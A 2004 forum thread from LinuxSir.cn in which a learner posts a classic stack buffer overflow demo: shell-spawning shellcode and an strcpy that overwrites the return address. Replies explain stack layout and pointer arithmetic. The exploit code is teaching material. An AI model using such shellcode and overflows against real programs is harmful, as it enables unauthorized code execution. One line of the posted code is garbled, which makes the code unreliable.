LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 701|回复: 10

谁能帮我看看这段溢出程序?

[复制链接]
发表于 2004-7-13 15:30:57 | 显示全部楼层 |阅读模式
overflow1.c
------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;
  for (i = 0; i < 32; i++)   ///////////////////////////////////////////////////不懂押??????
    *(long_ptr + i) = (int) buffer;
  for (i = 0; i < strlen(shellcode); i++)
    large_string = shellcode;
  strcpy(buffer,large_string);
}
------------------------------------------------------------------------
在执行完strcpy后,堆栈内容如下所示:
内存底部                               内存顶部
           buffer       EBP   ret   
<------   [SSS...SSSA ][A   ][A   ]A..A
          ^&buffer
堆栈顶部                               堆栈底部        
注:S表示shellcode。
    A表示shellcode的地址。
这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的shellcode。











如果按程序的话for (i = 0; i < 32; i++)   
                         *(long_ptr + i) = (int) buffer;

A就是buffer[]地质就是shellcode地质应该是载整个buffer的低端地址的前32字字节,可是为什么会是像图中所示是载高端地址呢???????搞不懂押????????
发表于 2004-7-13 18:28:21 | 显示全部楼层
堆栈是lifo的。每次从里面分配空间实际是把栈顶指针减去需要的空间数的
发表于 2004-7-13 19:09:05 | 显示全部楼层
把下面这个链接中的英文资料看过后就明白是怎么回事了。
http://www.linuxsir.cn/forum.php ... 5%C7%F8%D2%E7%B3%F6
发表于 2004-7-13 21:39:27 | 显示全部楼层
他看的就算不是那个,至少也是类似的
问题不在那里,问题在于stack的基本概念和内存编址的方式没有搞清
 楼主| 发表于 2004-7-13 22:01:28 | 显示全部楼层
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

你们说的堆栈原理我都董,我是说,就像上面这一句,应该是把buffer的地址复制到large_string的前32字节,可是就像程序说的确实再后32个字节,这是我的疑问所在,谁能告诉我呀??????
 楼主| 发表于 2004-7-13 22:03:52 | 显示全部楼层
最初由 lucifer 发表
他看的就算不是那个,至少也是类似的
问题不在那里,问题在于stack的基本概念和内存编址的方式没有搞清



也许是这样,那请问我要看什么书可以补。stack原理我还好,我觉得
就是内存那个不懂吧,请指点迷津,非常感谢,我现在迷茫的很!!!!!!!!
发表于 2004-7-14 07:50:56 | 显示全部楼层
最初由 午后阳光 发表
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

你们说的堆栈原理我都董,我是说,就像上面这一句,应该是把buffer的地址复制到large_string的前32字节,可是就像程序说的确实再后32个字节,这是我的疑问所在,谁能告诉我呀??????

呵呵,你懂的堆栈原理只是教科书上的,不是你自己编程得来的。
还是把汇编学好先。只能学好汇编才能弥补你所缺乏的基本概念。
Dos下的汇编先不要学了,直接学linux下的汇编吧。
强烈推荐一本书,我觉得它非常不错:
http://savannah.nongnu.org/downl ... Up-1-0-booksize.pdf
发表于 2004-7-14 09:03:05 | 显示全部楼层
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

注意这里拷贝了128个字节,不是32个字节,
(long*)long_ptr + i  等于  (char*)long_ptr + 4*i
发表于 2004-7-14 09:45:30 | 显示全部楼层
看看计算机原理应该就明白了,然后可以再看系统结构或者操作系统之类
 楼主| 发表于 2004-7-14 09:54:22 | 显示全部楼层
最初由 doubleelec 发表
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

注意这里拷贝了128个字节,不是32个字节,
(long*)long_ptr + i  等于  (char*)long_ptr + 4*i



那我就懂拉,一语惊醒梦中人,3q
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表